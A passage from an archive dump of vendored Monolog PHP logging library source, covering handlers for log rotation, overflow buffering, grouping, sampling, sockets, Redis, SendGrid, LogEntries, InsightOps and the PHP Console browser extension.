remove return; } // Sorting the files by name to remove the older ones usort($logFiles, function ($a, $b) { return strcmp($b, $a); }); foreach (array_slice($logFiles, $this->maxFiles) as $file) { if (is_writable($file)) { // suppress errors here as unlink() might fail if two processes // are cleaning up/rotating at the same time set_error_handler(function (int $errno, string $errstr, string $errfile, int $errline): bool { return false; }); unlink($file); restore_error_handler(); } } $this->mustRotate = false; } protected function getTimedFilename(): string { $fileInfo = pathinfo($this->filename); $timedFilename = str_replace( ['{filename}', '{date}'], [$fileInfo['filename'], date($this->dateFormat)], $fileInfo['dirname'] . '/' . $this->filenameFormat ); if (isset($fileInfo['extension'])) { $timedFilename .= '.'.$fileInfo['extension']; } return $timedFilename; } protected function getGlobPattern(): string { $fileInfo = pathinfo($this->filename); $glob = str_replace( ['{filename}', '{date}'], [$fileInfo['filename'], '[0-9][0-9][0-9][0-9]*'], $fileInfo['dirname'] . '/' . $this->filenameFormat ); if (isset($fileInfo['extension'])) { $glob .= '.'.$fileInfo['extension']; } return $glob; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/AbstractProcessingHandler.php000064400000003572147577714370025671 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Base Handler class providing the Handler structure, including processors and formatters * * Classes extending it should (in most cases) only implement write($record) * * @author Jordi Boggiano * @author Christophe Coevoet * * @phpstan-import-type LevelName from \Monolog\Logger * @phpstan-import-type Level from \Monolog\Logger * @phpstan-import-type Record from \Monolog\Logger * @phpstan-type FormattedRecord array{message: string, context: mixed[], level: Level, level_name: LevelName, channel: string, datetime: \DateTimeImmutable, extra: mixed[], formatted: mixed} */ abstract class AbstractProcessingHandler extends AbstractHandler implements ProcessableHandlerInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; use FormattableHandlerTrait; /** * {@inheritDoc} */ public function handle(array $record): bool { if (!$this->isHandling($record)) { return false; } if ($this->processors) { /** @var Record $record */ $record = $this->processRecord($record); } $record['formatted'] = $this->getFormatter()->format($record); $this->write($record); return false === $this->bubble; } /** * Writes the record down to the log of the implementing handler * * @phpstan-param FormattedRecord $record */ abstract protected function write(array $record): void; /** * @return void */ public function reset() { parent::reset(); $this->resetProcessors(); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/OverflowHandler.php000064400000010665147577714370023675 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; /** * Handler to only pass log messages when a certain threshold of number of messages is reached. * * This can be useful in cases of processing a batch of data, but you're for example only interested * in case it fails catastrophically instead of a warning for 1 or 2 events. Worse things can happen, right? * * Usage example: * * ``` * $log = new Logger('application'); * $handler = new SomeHandler(...) * * // Pass all warnings to the handler when more than 10 & all error messages when more then 5 * $overflow = new OverflowHandler($handler, [Logger::WARNING => 10, Logger::ERROR => 5]); * * $log->pushHandler($overflow); *``` * * @author Kris Buist */ class OverflowHandler extends AbstractHandler implements FormattableHandlerInterface { /** @var HandlerInterface */ private $handler; /** @var int[] */ private $thresholdMap = [ Logger::DEBUG => 0, Logger::INFO => 0, Logger::NOTICE => 0, Logger::WARNING => 0, Logger::ERROR => 0, Logger::CRITICAL => 0, Logger::ALERT => 0, Logger::EMERGENCY => 0, ]; /** * Buffer of all messages passed to the handler before the threshold was reached * * @var mixed[][] */ private $buffer = []; /** * @param HandlerInterface $handler * @param int[] $thresholdMap Dictionary of logger level => threshold */ public function __construct( HandlerInterface $handler, array $thresholdMap = [], $level = Logger::DEBUG, bool $bubble = true ) { $this->handler = $handler; foreach ($thresholdMap as $thresholdLevel => $threshold) { $this->thresholdMap[$thresholdLevel] = $threshold; } parent::__construct($level, $bubble); } /** * Handles a record. * * All records may be passed to this method, and the handler should discard * those that it does not want to handle. * * The return value of this function controls the bubbling process of the handler stack. * Unless the bubbling is interrupted (by returning true), the Logger class will keep on * calling further handlers in the stack with a given log record. * * {@inheritDoc} */ public function handle(array $record): bool { if ($record['level'] < $this->level) { return false; } $level = $record['level']; if (!isset($this->thresholdMap[$level])) { $this->thresholdMap[$level] = 0; } if ($this->thresholdMap[$level] > 0) { // The overflow threshold is not yet reached, so we're buffering the record and lowering the threshold by 1 $this->thresholdMap[$level]--; $this->buffer[$level][] = $record; return false === $this->bubble; } if ($this->thresholdMap[$level] == 0) { // This current message is breaking the threshold. Flush the buffer and continue handling the current record foreach ($this->buffer[$level] ?? [] as $buffered) { $this->handler->handle($buffered); } $this->thresholdMap[$level]--; unset($this->buffer[$level]); } $this->handler->handle($record); return false === $this->bubble; } /** * {@inheritDoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($this->handler instanceof FormattableHandlerInterface) { $this->handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($this->handler).' does not support formatters.'); } /** * {@inheritDoc} */ public function getFormatter(): FormatterInterface { if ($this->handler instanceof FormattableHandlerInterface) { return $this->handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($this->handler).' does not support formatters.'); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/LogEntriesHandler.php000064400000003605147577714370024141 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * @author Robert Kaufmann III */ class LogEntriesHandler extends SocketHandler { /** * @var string */ protected $logToken; /** * @param string $token Log token supplied by LogEntries * @param bool $useSSL Whether or not SSL encryption should be used. * @param string $host Custom hostname to send the data to if needed * * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing */ public function __construct( string $token, bool $useSSL = true, $level = Logger::DEBUG, bool $bubble = true, string $host = 'data.logentries.com', bool $persistent = false, float $timeout = 0.0, float $writingTimeout = 10.0, ?float $connectionTimeout = null, ?int $chunkSize = null ) { if ($useSSL && !extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP plugin is required to use SSL encrypted connection for LogEntriesHandler'); } $endpoint = $useSSL ? 'ssl://' . $host . ':443' : $host . ':80'; parent::__construct( $endpoint, $level, $bubble, $persistent, $timeout, $writingTimeout, $connectionTimeout, $chunkSize ); $this->logToken = $token; } /** * {@inheritDoc} */ protected function generateDataStream(array $record): string { return $this->logToken . ' ' . $record['formatted']; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/InsightOpsHandler.php000064400000004072147577714370024154 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Inspired on LogEntriesHandler. * * @author Robert Kaufmann III * @author Gabriel Machado */ class InsightOpsHandler extends SocketHandler { /** * @var string */ protected $logToken; /** * @param string $token Log token supplied by InsightOps * @param string $region Region where InsightOps account is hosted. Could be 'us' or 'eu'. * @param bool $useSSL Whether or not SSL encryption should be used * * @throws MissingExtensionException If SSL encryption is set to true and OpenSSL is missing */ public function __construct( string $token, string $region = 'us', bool $useSSL = true, $level = Logger::DEBUG, bool $bubble = true, bool $persistent = false, float $timeout = 0.0, float $writingTimeout = 10.0, ?float $connectionTimeout = null, ?int $chunkSize = null ) { if ($useSSL && !extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP plugin is required to use SSL encrypted connection for InsightOpsHandler'); } $endpoint = $useSSL ? 'ssl://' . $region . '.data.logs.insight.rapid7.com:443' : $region . '.data.logs.insight.rapid7.com:80'; parent::__construct( $endpoint, $level, $bubble, $persistent, $timeout, $writingTimeout, $connectionTimeout, $chunkSize ); $this->logToken = $token; } /** * {@inheritDoc} */ protected function generateDataStream(array $record): string { return $this->logToken . ' ' . $record['formatted']; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/GroupHandler.php000064400000006242147577714370023162 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\ResettableInterface; /** * Forwards records to multiple handlers * * @author Lenar Lõhmus * * @phpstan-import-type Record from \Monolog\Logger */ class GroupHandler extends Handler implements ProcessableHandlerInterface, ResettableInterface { use ProcessableHandlerTrait; /** @var HandlerInterface[] */ protected $handlers; /** @var bool */ protected $bubble; /** * @param HandlerInterface[] $handlers Array of Handlers. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(array $handlers, bool $bubble = true) { foreach ($handlers as $handler) { if (!$handler instanceof HandlerInterface) { throw new \InvalidArgumentException('The first argument of the GroupHandler must be an array of HandlerInterface instances.'); } } $this->handlers = $handlers; $this->bubble = $bubble; } /** * {@inheritDoc} */ public function isHandling(array $record): bool { foreach ($this->handlers as $handler) { if ($handler->isHandling($record)) { return true; } } return false; } /** * {@inheritDoc} */ public function handle(array $record): bool { if ($this->processors) { /** @var Record $record */ $record = $this->processRecord($record); } foreach ($this->handlers as $handler) { $handler->handle($record); } return false === $this->bubble; } /** * {@inheritDoc} */ public function handleBatch(array $records): void { if ($this->processors) { $processed = []; foreach ($records as $record) { $processed[] = $this->processRecord($record); } /** @var Record[] $records */ $records = $processed; } foreach ($this->handlers as $handler) { $handler->handleBatch($records); } } public function reset() { $this->resetProcessors(); foreach ($this->handlers as $handler) { if ($handler instanceof ResettableInterface) { $handler->reset(); } } } public function close(): void { parent::close(); foreach ($this->handlers as $handler) { $handler->close(); } } /** * {@inheritDoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { foreach ($this->handlers as $handler) { if ($handler instanceof FormattableHandlerInterface) { $handler->setFormatter($formatter); } } return $this; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/SendGridHandler.php000064400000005467147577714370023575 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * SendGridrHandler uses the SendGrid API v2 function to send Log emails, more information in https://sendgrid.com/docs/API_Reference/Web_API/mail.html * * @author Ricardo Fontanelli */ class SendGridHandler extends MailHandler { /** * The SendGrid API User * @var string */ protected $apiUser; /** * The SendGrid API Key * @var string */ protected $apiKey; /** * The email addresses to which the message will be sent * @var string */ protected $from; /** * The email addresses to which the message will be sent * @var string[] */ protected $to; /** * The subject of the email * @var string */ protected $subject; /** * @param string $apiUser The SendGrid API User * @param string $apiKey The SendGrid API Key * @param string $from The sender of the email * @param string|string[] $to The recipients of the email * @param string $subject The subject of the mail */ public function __construct(string $apiUser, string $apiKey, string $from, $to, string $subject, $level = Logger::ERROR, bool $bubble = true) { if (!extension_loaded('curl')) { throw new MissingExtensionException('The curl extension is needed to use the SendGridHandler'); } parent::__construct($level, $bubble); $this->apiUser = $apiUser; $this->apiKey = $apiKey; $this->from = $from; $this->to = (array) $to; $this->subject = $subject; } /** * {@inheritDoc} */ protected function send(string $content, array $records): void { $message = []; $message['api_user'] = $this->apiUser; $message['api_key'] = $this->apiKey; $message['from'] = $this->from; foreach ($this->to as $recipient) { $message['to[]'] = $recipient; } $message['subject'] = $this->subject; $message['date'] = date('r'); if ($this->isHtmlBody($content)) { $message['html'] = $content; } else { $message['text'] = $content; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://api.sendgrid.com/api/mail.send.json'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($message)); Curl\Util::execute($ch, 2); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/RedisHandler.php000064400000005654147577714370023142 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\LineFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; /** * Logs to a Redis key using rpush * * usage example: * * $log = new Logger('application'); * $redis = new RedisHandler(new Predis\Client("tcp://localhost:6379"), "logs", "prod"); * $log->pushHandler($redis); * * @author Thomas Tourlourat * * @phpstan-import-type FormattedRecord from AbstractProcessingHandler */ class RedisHandler extends AbstractProcessingHandler { /** @var \Predis\Client|\Redis */ private $redisClient; /** @var string */ private $redisKey; /** @var int */ protected $capSize; /** * @param \Predis\Client|\Redis $redis The redis instance * @param string $key The key name to push records to * @param int $capSize Number of entries to limit list size to, 0 = unlimited */ public function __construct($redis, string $key, $level = Logger::DEBUG, bool $bubble = true, int $capSize = 0) { if (!(($redis instanceof \Predis\Client) || ($redis instanceof \Redis))) { throw new \InvalidArgumentException('Predis\Client or Redis instance required'); } $this->redisClient = $redis; $this->redisKey = $key; $this->capSize = $capSize; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { if ($this->capSize) { $this->writeCapped($record); } else { $this->redisClient->rpush($this->redisKey, $record["formatted"]); } } /** * Write and cap the collection * Writes the record to the redis list and caps its * * @phpstan-param FormattedRecord $record */ protected function writeCapped(array $record): void { if ($this->redisClient instanceof \Redis) { $mode = defined('\Redis::MULTI') ? \Redis::MULTI : 1; $this->redisClient->multi($mode) ->rpush($this->redisKey, $record["formatted"]) ->ltrim($this->redisKey, -$this->capSize, -1) ->exec(); } else { $redisKey = $this->redisKey; $capSize = $this->capSize; $this->redisClient->transaction(function ($tx) use ($record, $redisKey, $capSize) { $tx->rpush($redisKey, $record["formatted"]); $tx->ltrim($redisKey, -$capSize, -1); }); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter(); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/SocketHandler.php000064400000027773147577714370023332 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Stores to any socket - uses fsockopen() or pfsockopen(). * * @author Pablo de Leon Belloc * @see http://php.net/manual/en/function.fsockopen.php * * @phpstan-import-type Record from \Monolog\Logger * @phpstan-import-type FormattedRecord from AbstractProcessingHandler */ class SocketHandler extends AbstractProcessingHandler { /** @var string */ private $connectionString; /** @var float */ private $connectionTimeout; /** @var resource|null */ private $resource; /** @var float */ private $timeout; /** @var float */ private $writingTimeout; /** @var ?int */ private $lastSentBytes = null; /** @var ?int */ private $chunkSize; /** @var bool */ private $persistent; /** @var ?int */ private $errno = null; /** @var ?string */ private $errstr = null; /** @var ?float */ private $lastWritingAt = null; /** * @param string $connectionString Socket connection string * @param bool $persistent Flag to enable/disable persistent connections * @param float $timeout Socket timeout to wait until the request is being aborted * @param float $writingTimeout Socket timeout to wait until the request should've been sent/written * @param float|null $connectionTimeout Socket connect timeout to wait until the connection should've been * established * @param int|null $chunkSize Sets the chunk size. Only has effect during connection in the writing cycle * * @throws \InvalidArgumentException If an invalid timeout value (less than 0) is passed. */ public function __construct( string $connectionString, $level = Logger::DEBUG, bool $bubble = true, bool $persistent = false, float $timeout = 0.0, float $writingTimeout = 10.0, ?float $connectionTimeout = null, ?int $chunkSize = null ) { parent::__construct($level, $bubble); $this->connectionString = $connectionString; if ($connectionTimeout !== null) { $this->validateTimeout($connectionTimeout); } $this->connectionTimeout = $connectionTimeout ?? (float) ini_get('default_socket_timeout'); $this->persistent = $persistent; $this->validateTimeout($timeout); $this->timeout = $timeout; $this->validateTimeout($writingTimeout); $this->writingTimeout = $writingTimeout; $this->chunkSize = $chunkSize; } /** * Connect (if necessary) and write to the socket * * {@inheritDoc} * * @throws \UnexpectedValueException * @throws \RuntimeException */ protected function write(array $record): void { $this->connectIfNotConnected(); $data = $this->generateDataStream($record); $this->writeToSocket($data); } /** * We will not close a PersistentSocket instance so it can be reused in other requests. */ public function close(): void { if (!$this->isPersistent()) { $this->closeSocket(); } } /** * Close socket, if open */ public function closeSocket(): void { if (is_resource($this->resource)) { fclose($this->resource); $this->resource = null; } } /** * Set socket connection to be persistent. It only has effect before the connection is initiated. */ public function setPersistent(bool $persistent): self { $this->persistent = $persistent; return $this; } /** * Set connection timeout. Only has effect before we connect. * * @see http://php.net/manual/en/function.fsockopen.php */ public function setConnectionTimeout(float $seconds): self { $this->validateTimeout($seconds); $this->connectionTimeout = $seconds; return $this; } /** * Set write timeout. Only has effect before we connect. * * @see http://php.net/manual/en/function.stream-set-timeout.php */ public function setTimeout(float $seconds): self { $this->validateTimeout($seconds); $this->timeout = $seconds; return $this; } /** * Set writing timeout. Only has effect during connection in the writing cycle. * * @param float $seconds 0 for no timeout */ public function setWritingTimeout(float $seconds): self { $this->validateTimeout($seconds); $this->writingTimeout = $seconds; return $this; } /** * Set chunk size. Only has effect during connection in the writing cycle. */ public function setChunkSize(int $bytes): self { $this->chunkSize = $bytes; return $this; } /** * Get current connection string */ public function getConnectionString(): string { return $this->connectionString; } /** * Get persistent setting */ public function isPersistent(): bool { return $this->persistent; } /** * Get current connection timeout setting */ public function getConnectionTimeout(): float { return $this->connectionTimeout; } /** * Get current in-transfer timeout */ public function getTimeout(): float { return $this->timeout; } /** * Get current local writing timeout * * @return float */ public function getWritingTimeout(): float { return $this->writingTimeout; } /** * Get current chunk size */ public function getChunkSize(): ?int { return $this->chunkSize; } /** * Check to see if the socket is currently available. * * UDP might appear to be connected but might fail when writing. See http://php.net/fsockopen for details. */ public function isConnected(): bool { return is_resource($this->resource) && !feof($this->resource); // on TCP - other party can close connection. } /** * Wrapper to allow mocking * * @return resource|false */ protected function pfsockopen() { return @pfsockopen($this->connectionString, -1, $this->errno, $this->errstr, $this->connectionTimeout); } /** * Wrapper to allow mocking * * @return resource|false */ protected function fsockopen() { return @fsockopen($this->connectionString, -1, $this->errno, $this->errstr, $this->connectionTimeout); } /** * Wrapper to allow mocking * * @see http://php.net/manual/en/function.stream-set-timeout.php * * @return bool */ protected function streamSetTimeout() { $seconds = floor($this->timeout); $microseconds = round(($this->timeout - $seconds) * 1e6); if (!is_resource($this->resource)) { throw new \LogicException('streamSetTimeout called but $this->resource is not a resource'); } return stream_set_timeout($this->resource, (int) $seconds, (int) $microseconds); } /** * Wrapper to allow mocking * * @see http://php.net/manual/en/function.stream-set-chunk-size.php * * @return int|bool */ protected function streamSetChunkSize() { if (!is_resource($this->resource)) { throw new \LogicException('streamSetChunkSize called but $this->resource is not a resource'); } if (null === $this->chunkSize) { throw new \LogicException('streamSetChunkSize called but $this->chunkSize is not set'); } return stream_set_chunk_size($this->resource, $this->chunkSize); } /** * Wrapper to allow mocking * * @return int|bool */ protected function fwrite(string $data) { if (!is_resource($this->resource)) { throw new \LogicException('fwrite called but $this->resource is not a resource'); } return @fwrite($this->resource, $data); } /** * Wrapper to allow mocking * * @return mixed[]|bool */ protected function streamGetMetadata() { if (!is_resource($this->resource)) { throw new \LogicException('streamGetMetadata called but $this->resource is not a resource'); } return stream_get_meta_data($this->resource); } private function validateTimeout(float $value): void { if ($value < 0) { throw new \InvalidArgumentException("Timeout must be 0 or a positive float (got $value)"); } } private function connectIfNotConnected(): void { if ($this->isConnected()) { return; } $this->connect(); } /** * @phpstan-param FormattedRecord $record */ protected function generateDataStream(array $record): string { return (string) $record['formatted']; } /** * @return resource|null */ protected function getResource() { return $this->resource; } private function connect(): void { $this->createSocketResource(); $this->setSocketTimeout(); $this->setStreamChunkSize(); } private function createSocketResource(): void { if ($this->isPersistent()) { $resource = $this->pfsockopen(); } else { $resource = $this->fsockopen(); } if (is_bool($resource)) { throw new \UnexpectedValueException("Failed connecting to $this->connectionString ($this->errno: $this->errstr)"); } $this->resource = $resource; } private function setSocketTimeout(): void { if (!$this->streamSetTimeout()) { throw new \UnexpectedValueException("Failed setting timeout with stream_set_timeout()"); } } private function setStreamChunkSize(): void { if ($this->chunkSize && !$this->streamSetChunkSize()) { throw new \UnexpectedValueException("Failed setting chunk size with stream_set_chunk_size()"); } } private function writeToSocket(string $data): void { $length = strlen($data); $sent = 0; $this->lastSentBytes = $sent; while ($this->isConnected() && $sent < $length) { if (0 == $sent) { $chunk = $this->fwrite($data); } else { $chunk = $this->fwrite(substr($data, $sent)); } if ($chunk === false) { throw new \RuntimeException("Could not write to socket"); } $sent += $chunk; $socketInfo = $this->streamGetMetadata(); if (is_array($socketInfo) && $socketInfo['timed_out']) { throw new \RuntimeException("Write timed-out"); } if ($this->writingIsTimedOut($sent)) { throw new \RuntimeException("Write timed-out, no data sent for `{$this->writingTimeout}` seconds, probably we got disconnected (sent $sent of $length)"); } } if (!$this->isConnected() && $sent < $length) { throw new \RuntimeException("End-of-file reached, probably we got disconnected (sent $sent of $length)"); } } private function writingIsTimedOut(int $sent): bool { // convert to ms if (0.0 == $this->writingTimeout) { return false; } if ($sent !== $this->lastSentBytes) { $this->lastWritingAt = microtime(true); $this->lastSentBytes = $sent; return false; } else { usleep(100); } if ((microtime(true) - $this->lastWritingAt) >= $this->writingTimeout) { $this->closeSocket(); return true; } return false; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/PHPConsoleHandler.php000064400000024350147577714370024040 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\LineFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; use Monolog\Utils; use PhpConsole\Connector; use PhpConsole\Handler as VendorPhpConsoleHandler; use PhpConsole\Helper; /** * Monolog handler for Google Chrome extension "PHP Console" * * Display PHP error/debug log messages in Google Chrome console and notification popups, executes PHP code remotely * * Usage: * 1. Install Google Chrome extension https://chrome.google.com/webstore/detail/php-console/nfhmhhlpfleoednkpnnnkolmclajemef * 2. See overview https://github.com/barbushin/php-console#overview * 3. Install PHP Console library https://github.com/barbushin/php-console#installation * 4. Example (result will looks like http://i.hizliresim.com/vg3Pz4.png) * * $logger = new \Monolog\Logger('all', array(new \Monolog\Handler\PHPConsoleHandler())); * \Monolog\ErrorHandler::register($logger); * echo $undefinedVar; * $logger->debug('SELECT * FROM users', array('db', 'time' => 0.012)); * PC::debug($_SERVER); // PHP Console debugger for any type of vars * * @author Sergey Barbushin https://www.linkedin.com/in/barbushin * * @phpstan-import-type Record from \Monolog\Logger */ class PHPConsoleHandler extends AbstractProcessingHandler { /** @var array */ private $options = [ 'enabled' => true, // bool Is PHP Console server enabled 'classesPartialsTraceIgnore' => ['Monolog\\'], // array Hide calls of classes started with... 'debugTagsKeysInContext' => [0, 'tag'], // bool Is PHP Console server enabled 'useOwnErrorsHandler' => false, // bool Enable errors handling 'useOwnExceptionsHandler' => false, // bool Enable exceptions handling 'sourcesBasePath' => null, // string Base path of all project sources to strip in errors source paths 'registerHelper' => true, // bool Register PhpConsole\Helper that allows short debug calls like PC::debug($var, 'ta.g.s') 'serverEncoding' => null, // string|null Server internal encoding 'headersLimit' => null, // int|null Set headers size limit for your web-server 'password' => null, // string|null Protect PHP Console connection by password 'enableSslOnlyMode' => false, // bool Force connection by SSL for clients with PHP Console installed 'ipMasks' => [], // array Set IP masks of clients that will be allowed to connect to PHP Console: array('192.168.*.*', '127.0.0.1') 'enableEvalListener' => false, // bool Enable eval request to be handled by eval dispatcher(if enabled, 'password' option is also required) 'dumperDetectCallbacks' => false, // bool Convert callback items in dumper vars to (callback SomeClass::someMethod) strings 'dumperLevelLimit' => 5, // int Maximum dumped vars array or object nested dump level 'dumperItemsCountLimit' => 100, // int Maximum dumped var same level array items or object properties number 'dumperItemSizeLimit' => 5000, // int Maximum length of any string or dumped array item 'dumperDumpSizeLimit' => 500000, // int Maximum approximate size of dumped vars result formatted in JSON 'detectDumpTraceAndSource' => false, // bool Autodetect and append trace data to debug 'dataStorage' => null, // \PhpConsole\Storage|null Fixes problem with custom $_SESSION handler(see http://goo.gl/Ne8juJ) ]; /** @var Connector */ private $connector; /** * @param array $options See \Monolog\Handler\PHPConsoleHandler::$options for more details * @param Connector|null $connector Instance of \PhpConsole\Connector class (optional) * @throws \RuntimeException */ public function __construct(array $options = [], ?Connector $connector = null, $level = Logger::DEBUG, bool $bubble = true) { if (!class_exists('PhpConsole\Connector')) { throw new \RuntimeException('PHP Console library not found. See https://github.com/barbushin/php-console#installation'); } parent::__construct($level, $bubble); $this->options = $this->initOptions($options); $this->connector = $this->initConnector($connector); } /** * @param array $options * * @return array */ private function initOptions(array $options): array { $wrongOptions = array_diff(array_keys($options), array_keys($this->options)); if ($wrongOptions) { throw new \RuntimeException('Unknown options: ' . implode(', ', $wrongOptions)); } return array_replace($this->options, $options); } private function initConnector(?Connector $connector = null): Connector { if (!$connector) { if ($this->options['dataStorage']) { Connector::setPostponeStorage($this->options['dataStorage']); } $connector = Connector::getInstance(); } if ($this->options['registerHelper'] && !Helper::isRegistered()) { Helper::register(); } if ($this->options['enabled'] && $connector->isActiveClient()) { if ($this->options['useOwnErrorsHandler'] || $this->options['useOwnExceptionsHandler']) { $handler = VendorPhpConsoleHandler::getInstance(); $handler->setHandleErrors($this->options['useOwnErrorsHandler']); $handler->setHandleExceptions($this->options['useOwnExceptionsHandler']); $handler->start(); } if ($this->options['sourcesBasePath']) { $connector->setSourcesBasePath($this->options['sourcesBasePath']); } if ($this->options['serverEncoding']) { $connector->setServerEncoding($this->options['serverEncoding']); } if ($this->options['password']) { $connector->setPassword($this->options['password']); } if ($this->options['enableSslOnlyMode']) { $connector->enableSslOnlyMode(); } if ($this->options['ipMasks']) { $connector->setAllowedIpMasks($this->options['ipMasks']); } if ($this->options['headersLimit']) { $connector->setHeadersLimit($this->options['headersLimit']); } if ($this->options['detectDumpTraceAndSource']) { $connector->getDebugDispatcher()->detectTraceAndSource = true; } $dumper = $connector->getDumper(); $dumper->levelLimit = $this->options['dumperLevelLimit']; $dumper->itemsCountLimit = $this->options['dumperItemsCountLimit']; $dumper->itemSizeLimit = $this->options['dumperItemSizeLimit']; $dumper->dumpSizeLimit = $this->options['dumperDumpSizeLimit']; $dumper->detectCallbacks = $this->options['dumperDetectCallbacks']; if ($this->options['enableEvalListener']) { $connector->startEvalRequestsListener(); } } return $connector; } public function getConnector(): Connector { return $this->connector; } /** * @return array */ public function getOptions(): array { return $this->options; } public function handle(array $record): bool { if ($this->options['enabled'] && $this->connector->isActiveClient()) { return parent::handle($record); } return !$this->bubble; } /** * Writes the record down to the log of the implementing handler */ protected function write(array $record): void { if ($record['level'] < Logger::NOTICE) { $this->handleDebugRecord($record); } elseif (isset($record['context']['exception']) && $record['context']['exception'] instanceof \Throwable) { $this->handleExceptionRecord($record); } else { $this->handleErrorRecord($record); } } /** * @phpstan-param Record $record */ private function handleDebugRecord(array $record): void { $tags = $this->getRecordTags($record); $message = $record['message']; if ($record['context']) { $message .= ' ' . Utils::jsonEncode($this->connector->getDumper()->dump(array_filter($record['context'])), null, true); } $this->connector->getDebugDispatcher()->dispatchDebug($message, $tags, $this->options['classesPartialsTraceIgnore']); } /** * @phpstan-param Record $record */ private function handleExceptionRecord(array $record): void { $this->connector->getErrorsDispatcher()->dispatchException($record['context']['exception']); } /** * @phpstan-param Record $record */ private function handleErrorRecord(array $record): void { $context = $record['context']; $this->connector->getErrorsDispatcher()->dispatchError( $context['code'] ?? null, $context['message'] ?? $record['message'], $context['file'] ?? null, $context['line'] ?? null, $this->options['classesPartialsTraceIgnore'] ); } /** * @phpstan-param Record $record * @return string */ private function getRecordTags(array &$record) { $tags = null; if (!empty($record['context'])) { $context = & $record['context']; foreach ($this->options['debugTagsKeysInContext'] as $key) { if (!empty($context[$key])) { $tags = $context[$key]; if ($key === 0) { array_shift($context); } else { unset($context[$key]); } break; } } } return $tags ?: strtolower($record['level_name']); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter('%message%'); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/SamplingHandler.php000064400000010362147577714370023636 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; /** * Sampling handler * * A sampled event stream can be useful for logging high frequency events in * a production environment where you only need an idea of what is happening * and are not concerned with capturing every occurrence. Since the decision to * handle or not handle a particular event is determined randomly, the * resulting sampled log is not guaranteed to contain 1/N of the events that * occurred in the application, but based on the Law of large numbers, it will * tend to be close to this ratio with a large number of attempts. * * @author Bryan Davis * @author Kunal Mehta * * @phpstan-import-type Record from \Monolog\Logger * @phpstan-import-type Level from \Monolog\Logger */ class SamplingHandler extends AbstractHandler implements ProcessableHandlerInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; /** * @var HandlerInterface|callable * @phpstan-var HandlerInterface|callable(Record|array{level: Level}|null, HandlerInterface): HandlerInterface */ protected $handler; /** * @var int $factor */ protected $factor; /** * @psalm-param HandlerInterface|callable(Record|array{level: Level}|null, HandlerInterface): HandlerInterface $handler * * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $samplingHandler). * @param int $factor Sample factor (e.g. 10 means every ~10th record is sampled) */ public function __construct($handler, int $factor) { parent::__construct(); $this->handler = $handler; $this->factor = $factor; if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); } } public function isHandling(array $record): bool { return $this->getHandler($record)->isHandling($record); } public function handle(array $record): bool { if ($this->isHandling($record) && mt_rand(1, $this->factor) === 1) { if ($this->processors) { /** @var Record $record */ $record = $this->processRecord($record); } $this->getHandler($record)->handle($record); } return false === $this->bubble; } /** * Return the nested handler * * If the handler was provided as a factory callable, this will trigger the handler's instantiation. * * @phpstan-param Record|array{level: Level}|null $record * * @return HandlerInterface */ public function getHandler(array $record = null) { if (!$this->handler instanceof HandlerInterface) { $this->handler = ($this->handler)($record, $this); if (!$this->handler instanceof HandlerInterface) { throw new \RuntimeException("The factory callable should return a HandlerInterface"); } } return $this->handler; } /** * {@inheritDoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { $handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); 